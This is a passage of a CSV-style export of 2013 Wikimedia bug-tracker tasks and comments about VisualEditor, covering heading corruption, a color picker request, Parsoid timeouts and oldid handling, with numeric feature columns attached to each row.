247295,Adding formatting to wiki link formats text not link,"It has been noted today that VE still has issues with large pages, so it really shouldn't be adding unnecessary bytes to a page like this.",,,1377222218,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,17.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.896551724137931,0.9655172413793104,"It has been noted today that VE still has issues with large pages, so it really shouldn't be adding unnecessary bytes to a page like this."
53417,Blanking last section of page corrupts heading,"Reported here: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&curid=37904286&diff=564438586&oldid=564436653

IP editor removes contents from last section of page.  VE replaces heading text with nowiki.

Diff:https://en.wikipedia.org/w/index.php?title=Best:_The_Greatest_Hits_of_S_Club_7&curid=3428260&diff=564438205&oldid=564438086

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373937720,1373938090.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-euerogqwtdmzt7fjkkmb,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9555555555555557,0.6666666666666666,"Reported here: URL

IP editor removes contents from last section of page.  VE replaces heading text with nowiki.

Diff:URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246916,Blanking last section of page corrupts heading,"

%%%*** This bug has been marked as a duplicate of bug 50100 ***%%%",,,1373938090,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-euerogqwtdmzt7fjkkmb,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 50100 ***%%%"
53409,color picker,"Copied from English language Wikipedia:

When the user edits for example, a {{Legend}} template, color picker may be very useful. We should also think about adding there a table of basic colors. --Rezonansowy (talk) 13:32, 15 July 2013 (UTC)

http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564427033#Color_picker

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1373929020,1376120681.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-h3r2wuw2m4pdrb5ixf7h,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,15.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,5.0,5.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.864864864864865,0.7297297297297297,"Copied from English language Wikipedia:

When the user edits for example, a {{Legend}} template, color picker may be very useful. We should also think about adding there a table of basic colors. --Rezonansowy (talk) 13:32, 15 July 2013 (UTC)

URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
246442,color picker,"

*** This bug has been marked as a duplicate of bug 52645 ***",,,1376120681,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-h3r2wuw2m4pdrb5ixf7h,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 52645 ***"
53389,Disabling VisualEditor completely,"How can we Disable VisualEditor completely to have old style (for example in en.wikipedia which is activated how can we disable completely the too and make it like old style)?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373917620,1373926494.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-a465jbds23gplxffpkqu,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,4.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,10.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,8.0,2.0,2.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2745098039215685,0.7254901960784313,"How can we Disable VisualEditor completely to have old style (for example in en.wikipedia which is activated how can we disable completely the too and make it like old style)?

--------------------------
**Version**: unspecified
**Severity**: normal"
245136,Disabling VisualEditor completely,"In general, VE questions should be filed on [[WP:VE/F]] as that is the best place to give feedback for the VisualEditor.

This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 50929 ***",,,1373926494,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a465jbds23gplxffpkqu,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.0,4.0,0.0,7.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,11.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,3.5866666666666664,0.7466666666666667,"In general, VE questions should be filed on [[WP:VE/F]] as that is the best place to give feedback for the VisualEditor.

This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 50929 ***"
53369,VisualEditor: spurious parentheses added,"See https://en.wikipedia.org/w/index.php?title=Wormshill&diff=564367057&oldid=557770558 for example.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373900400,1385386705.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-nanbji3vohfklohczwir,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.6086956521739131,"See URL for example.

--------------------------
**Version**: unspecified
**Severity**: normal"
244045,VisualEditor: spurious parentheses added,"This is caused by an unbalanced <blockquote> in the infobox, which ""works"" (ish) in MediaWiki's PHP parser but didn't in Parsoid at the time; this is subsequently worked around. Closing as WORKSFORME.",,,1385386705,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nanbji3vohfklohczwir,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,14.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,11.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,5.0,3.840909090909091,0.8636363636363636,"This is caused by an unbalanced <blockquote> in the infobox, which ""works"" (ish) in MediaWiki's PHP parser but didn't in Parsoid at the time; this is subsequently worked around. Closing as WORKSFORME."
53366,504 timeout with Parsoid service,"**Author:** `brunsa2`

**Description:**
I currently have VisualEditor running on an Ubuntu Server with Nginx, MediaWiki version 1.22alpha, Node.js 0.8.22. I get timeouts (504) when trying to use the VisualEditor (running Parsoid in debug often gives messages such as:

T:html: {""type"":""TagTk"",""name"":""body"",""attribs"":[],""dataAttribs"":{}} {
 ""0"": ""WARNING: RETRY:"",
 ""1"": {
   ""code"": ""ETIMEDOUT""
 }
} Retrying Page Fetch request for null, 4 remaining {
 ""0"": ""WARNING: RETRY:"",
 ""1"": {
   ""code"": ""ETIMEDOUT""
 }
}

Retrying Page Fetch request for null, 3 remaining ). I've tried with as many possible headers from a REST client and do not get any errors from Parsoid with that.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC
**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1373899320,1374456028.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ipxn4a5xggbelogecqff,task_description,declined,True,c1,3,False,False,True,2,,1.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,2.0,4.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.333333333333334,0.3333333333333333,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,1.0,4.333333333333333,10.0,0.0,7.333333333333333,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,3.316336884830035,0.5369101978691019,"**Author:** CODE

**Description:**
I currently have VisualEditor running on an Ubuntu Server with Nginx, MediaWiki version 1.22alpha, Node.js 0.8.22. I get timeouts (504) when trying to use the VisualEditor (running Parsoid in debug often gives messages such as:

T:html: {""type"":""TagTk"",""name"":""body"",""attribs"":[],""dataAttribs"":{}} {
 ""0"": ""WARNING: RETRY:"",
 ""1"": {
   ""code"": ""ETIMEDOUT""
 }
} Retrying Page Fetch request for null, 4 remaining {
 ""0"": ""WARNING: RETRY:"",
 ""1"": {
   ""code"": ""ETIMEDOUT""
 }
}

Retrying Page Fetch request for null, 3 remaining ). I've tried with as many possible headers from a REST client and do not get any errors from Parsoid with that.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC
**Whiteboard**: aklapper-moreinfo"
243919,504 timeout with Parsoid service,"**brunsa2** wrote:

I've upgrades both VisualEditor and Parsoid, after converting wiki installation to  use SSL and then turning it off, Parsoid spontaneously started working.",,,1374456028,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ipxn4a5xggbelogecqff,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,14.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.371428571428571,0.8285714285714286,"**brunsa2** wrote:

I've upgrades both VisualEditor and Parsoid, after converting wiki installation to  use SSL and then turning it off, Parsoid spontaneously started working."
243915,504 timeout with Parsoid service,See http://www.mediawiki.org/wiki/MediaWiki_on_IRC for information on IRC.,,,1373927829,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ipxn4a5xggbelogecqff,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,See URL for information on IRC.
243910,504 timeout with Parsoid service,Please come on #mediawiki-parsoid IRC channel to debug these issues.  It appears that Parsoid might be having trouble connecting with your mediawiki instance.,,,1373901602,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ipxn4a5xggbelogecqff,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.689655172413793,0.9310344827586207,Please come on #mediawiki-parsoid IRC channel to debug these issues.  It appears that Parsoid might be having trouble connecting with your mediawiki instance.
53364,VisualEditor: Edit this Page button ignores &oldid=prev parameter.,"When editing a page the editor seems to ignore the ""&oldid=prev"" parameter entirely. Instead of editing the old revision, the editor loads the most recent revision.

Steps to reproduce:

* Navigate to http://en.wikipedia.org/w/index.php?title=Baylor_University_Institute_for_Oral_History&diff=540967084&oldid=prev
* Press ""Edit this Page""

I would except that the editor would load the page currently displayed on the screen. Instead it seems to omit &oldid=prev entirely, and loads the most recent revision instead. 

(Tested on Firefox 22, Monobook skin. Possibly related:50615)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373895180,1385387326.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-pi2tzunhpx5y7ayoea2g,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,1.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,5.5,0.0,2.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.5,1.5,2.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,1.5,5.5,2.0,0.0,2.0,0.0,1.5,0.0,0.5,0.5,0.0,1.0,0.0,1.5,1.5,3.9764124293785312,0.7060734463276837,"When editing a page the editor seems to ignore the ""&oldid=prev"" parameter entirely. Instead of editing the old revision, the editor loads the most recent revision.

Steps to reproduce:

* Navigate to URL
* Press ""Edit this Page""

I would except that the editor would load the page currently displayed on the screen. Instead it seems to omit &oldid=prev entirely, and loads the most recent revision instead. 

(Tested on Firefox 22, Monobook skin. Possibly related:50615)

--------------------------
**Version**: unspecified
**Severity**: normal"
243826,VisualEditor: Edit this Page button ignores &oldid=prev parameter.,This seems to now be fixed. Please re-open if you think I'm wrong!,,,1385387326,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pi2tzunhpx5y7ayoea2g,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,17.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This seems to now be fixed. Please re-open if you think I'm wrong!
243821,VisualEditor: Edit this Page button ignores &oldid=prev parameter.,"Preference 'Do not show page content below diffs' also affects this bug.

If enabled, the 'Edit source' link currently edits the current version of the page, so I think 'Edit' is doing the right thing in that case.

If disabled, the diff block on the page should be deleted and the html on the page should be editable as-is.",,,1374477548,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-pi2tzunhpx5y7ayoea2g,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,9.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,3.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5733333333333333,0.6533333333333333,"Preference 'Do not show page content below diffs' also affects this bug.

If enabled, the 'Edit source' link currently edits the current version of the page, so I think 'Edit' is doing the right thing in that case.

If disabled, the diff block on the page should be deleted and the html on the page should be editable as-is."
53356,Add ULS language setting dialogue box in VisualEditor page settings,"Hi,

In VisualEditor pagesettings>>languages below MediaWiki:Visualeditor-dialog-meta-languages-section the option button should be available 'Visit ULS language settings' for current {{contentlanguage}}wiki >> Then dialog box of ULS language settings should open up


*To understand further the need for above request,please do refer to survey
data and analysis provided at
http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864

	

Thanks and Warm Regards

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1373886720,1378122078.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-6syee5vbnlo6bygtishg,task_description,invalid,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.648936170212766,0.6914893617021277,"Hi,

In VisualEditor pagesettings>>languages below MediaWiki:Visualeditor-dialog-meta-languages-section the option button should be available 'Visit ULS language settings' for current {{contentlanguage}}wiki >> Then dialog box of ULS language settings should open up


*To understand further the need for above request,please do refer to survey
data and analysis provided at
URL

	

Thanks and Warm Regards

--------------------------
**Version**: unspecified
**Severity**: enhancement"
243369,Add ULS language setting dialogue box in VisualEditor page settings,"Closing as invalid for now. I think what is implicit here, is present explicitly in other, unreferenced issues.",,,1378122078,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,23.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2727272727272725,0.8636363636363636,"Closing as invalid for now. I think what is implicit here, is present explicitly in other, unreferenced issues."
243363,Add ULS language setting dialogue box in VisualEditor page settings,"(In reply to comment #5)

What Mr. Amir discussing higher end facilities are welcome.

As far as this bug is concrned simply this bug intends/requests for basic feature requirement provide ULS input method selection at VE tool bar. sans any icons . As of now ULS icons have not been understood by 60% of targeted new user group.VE tool bar is right in front of eyes I can select every thing including intended language input from VE tool bar itself before I start editing, this I am looking for . Am I asking for some thing too much and too defficult ?",,,1376729948,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,6,,3.0,0.0,0.0,1.5,0.5,6.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5,0.5,4.5,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.5,6.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.5,1.0,1.0,1.5,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,10.5,0.0,1.0,4.0,0.0,0.0,0.0,0.5,2.0,0.0,1.5,0.0,4.5,10.5,4.5,1.0,0.0,0.0,4.5,0.0,0.5,0.0,1.0,4.0,0.5,0.0,0.0,3.9387477313974593,0.8345432546884453,"(In reply to comment #5)

What Mr. Amir discussing higher end facilities are welcome.

As far as this bug is concrned simply this bug intends/requests for basic feature requirement provide ULS input method selection at VE tool bar. sans any icons . As of now ULS icons have not been understood by 60% of targeted new user group.VE tool bar is right in front of eyes I can select every thing including intended language input from VE tool bar itself before I start editing, this I am looking for . Am I asking for some thing too much and too defficult ?"
243356,Add ULS language setting dialogue box in VisualEditor page settings,Mahitgar: Could you please answer comment 5?,,,1376399379,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,Mahitgar: Could you please answer comment 5?
243350,Add ULS language setting dialogue box in VisualEditor page settings,"ULS is a flexible tool for selecting a language out of a long list of possible languages. It may or may not be relevant for this request.

The ULS may be used in the future for switching to Wikipedia in another language; I refer to the thing that is done today with the interlanguage links.

Setting a different content language for a whole page is a useful feature, and the ULS can be used for selecting the language there, but first the MediaWiki core must support it; see Bug 9360. It is also mentioned in the i18n specification for VE: https://www.mediawiki.org/wiki/VisualEditor/Internationalization_requirements .

